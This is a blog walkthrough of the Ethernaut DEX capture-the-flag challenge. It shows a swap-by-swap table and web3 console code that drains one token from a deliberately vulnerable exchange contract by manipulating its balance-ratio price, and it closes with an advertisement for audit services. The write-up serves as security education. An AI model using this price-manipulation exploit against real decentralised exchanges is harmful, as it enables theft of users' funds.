Ethernaut Solutions: Challenge 22 DEX

Zvinodashe Mupambirei
Coinmonks
2 min readJun 12, 2022

--

Challenge 22 on Ethernaut requires us to attack a DEX. DEX has liquidity of two tokens and you can trade on this liquidity where the price of one token in respect to another is the ratio of tokens relative to each other in the liquidity pool.

The challenge is to drain at least one of the tokens. This is achieved through price manipulation by repeatedly exchanging tokens back and forth from each other until one of the tokens is depleted.

price = amount * balance_to_token/balance_from_tokenToken1  Token2   AmountToken1 AmountToken2
100 100 10 10
// Exchange all of Token1 for Token2 ------> (10 * 10/10) = 10
110 90 0 20
// Exchange all of Token2 for Token1 ------> (20 * 110/90) = 24
86 110 24 0
// Exchange all of Token1 for Token2 ------> (24 * 110/86) = 30
110 80 0 30
// Exchange all of Token2 for Token1 ------> (30 * 110/80) = 41
69 110 41 0
// Exchange all of Token1 for Token2 ------> (41 * 110/69) = 65
110 45 0 65
// Exchange 45 tokens token2 for Token1 ----> (45 * 110/45) = 45
0 90 110 20
// We depleted Token1 - a pricing that maintains an invariant e.g constant product formulae would not allow one token to be depleted relative to another e.g x*y = k

Code Solution

const token1Ad = await contract.token1()
const token2Ad = await contract.token2()
const approveAmount = 200 const data = web3.eth.abi.encodeFunctionCall({
name: 'approve',
type: 'function',
inputs: [
{
"name": "_spender",
"type": "address"
},
{
"name": "_value",
"type": "uint256"
}
],
}, [contract.address,approveAmount])
await web3.eth.sendTransaction({from:player,to:token1Ad,data: data})
await web3.eth.sendTransaction({from:player,to:token2Ad,data: data})
// Do the 6 steps of swaps highlighted earlier
await contract.swap(token1Ad,token2Ad,10)
await contract.swap(token2Ad,token1Ad,20)
await contract.swap(token1Ad,token2Ad,24)
await contract.swap(token2Ad,token1Ad,30)
await contract.swap(token1Ad,token2Ad,41)
await contract.swap(token2Ad,token1Ad,45)

ARE YOU A PROJECT IN NEED OF AN AUDIT?

If you are a project in need of smart contract security audit services from an expert security-focused company passionate about blockchain, with extensive knowledge, reputation in evaluating, testing, consulting, diligence, pen testing, and auditing projects on Ethereum, Binance Smart Chain, Polygon, Solana, EVM compatible chains etc fill in the form here.

Join Coinmonks Telegram Channel and Youtube Channel learn about crypto trading and investing

Also, Read

--

--